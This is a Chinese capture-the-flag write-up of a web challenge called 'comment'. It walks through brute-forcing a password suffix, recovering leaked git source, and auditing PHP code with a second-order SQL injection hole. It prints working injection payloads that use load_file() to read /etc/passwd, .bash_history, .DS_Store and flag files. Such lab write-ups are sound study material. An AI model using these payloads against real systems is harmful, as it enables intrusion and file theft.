NineOnee

导航

 

comment

前言

本文涉及知识点:git恢复 ,密码爆破,二次注入,代码审计,/etc/passwd文件,.bash_history文件,.DS_Store文件

参考wp1 ,wp2

做题

进去题目页面,只有个发帖,然后点击进去,跳转到login.php,fuzz发现这里没有sql注入漏洞,根据密码提示,猜测密码后三位可能是数字,写个脚本

flag=''
for i in range(0,10):
    for j in range(0,10):
        for k in range(0,10):
                flag=str(i)+str(j)+str(k)
                print(flag)
                flag=''

得到3位数的字典,然后爆破,密码后三位是666,登录进去,然后f12,根据提示涉及到git,可能是git泄露,dirsearch扫一下,发现果然有git泄露,githack一下,得到源码,但是得到源码不完整,需要git恢复

如何判断是否可以恢复?

看是否有commit文件,如果没有,则需要恢复,像这题:


题目提示我们没有commit,即需要git恢复。

恢复命令

git log --reflog

git恢复之后,得到源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',			   
                content = '$content',      
                bo_id = '$bo_id'";											
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

审计代码发现,write部分三个参数都进行函数过滤,comment部分对content,bo_id进行了函数过滤,但是没有对category过滤,直接取出category参数,然后进行insert插入,显然存在sql二次注入

payload

1',content=database(),/*


提交后在留言处输入*/#


我们再构造

1',content=user(),/*


root用户,那么用load_file()来查看敏感文件

先读取系统用户和用户的路径/etc/passwd

1',content=(select(load_file("/etc/passwd"))),/*


最后一行www用户,主目录为/home/www,使用的shell是bash

.bash_history文件:保存了当前用户使用过的历史命令


1',content=(select (load_file('/home/www/.bash_history'))),/*


顺序从上往下看,但unzip时会在当前目录下生成html目录,cp会将html目录复制到/var/www/下,然后将.DS_Store文件删除了

查了下

  • .DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件
  • 目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择
  • 通过.DS_Store可以知道这个目录里面所有文件的清单。

查看.DS_Store文件,

1', content=(select (load_file('/tmp/html/.DS_Store'))),/*


不能完全显示,可能文件太大了,用hex编码显示试试

1', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

得到hex编码,再转换


读取flag所在的php文件

1',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*

发现flag没用,是个假的,在/var/www/html下也有个复制过来的存放flag的文件

1',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

拿到flag

comment.php

<?php
include "mysql.php";
    $id = addslashes($_GET['id']);
    $sql = "select * from board where id='$id'";
    $result = mysql_query($sql);
    $row = mysql_fetch_array($result);
    $title = $row['title'];
    $content = $row['content'];
?>
  <?php
    $sql = "select * from comment where bo_id='$id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    while($row= mysql_fetch_array($result)){
    echo '<div class="form-group">';
    echo '<label class="col-sm-2 control-label">留言</label>';
    echo '<div class="col-sm-5">';
    echo "<p>$row[content]</p>";
    echo '</div>';
    echo '</div>';
    }
    }

?>
posted on 2020-11-18 21:38  NineOne_E  阅读(363)  评论(0编辑  收藏  举报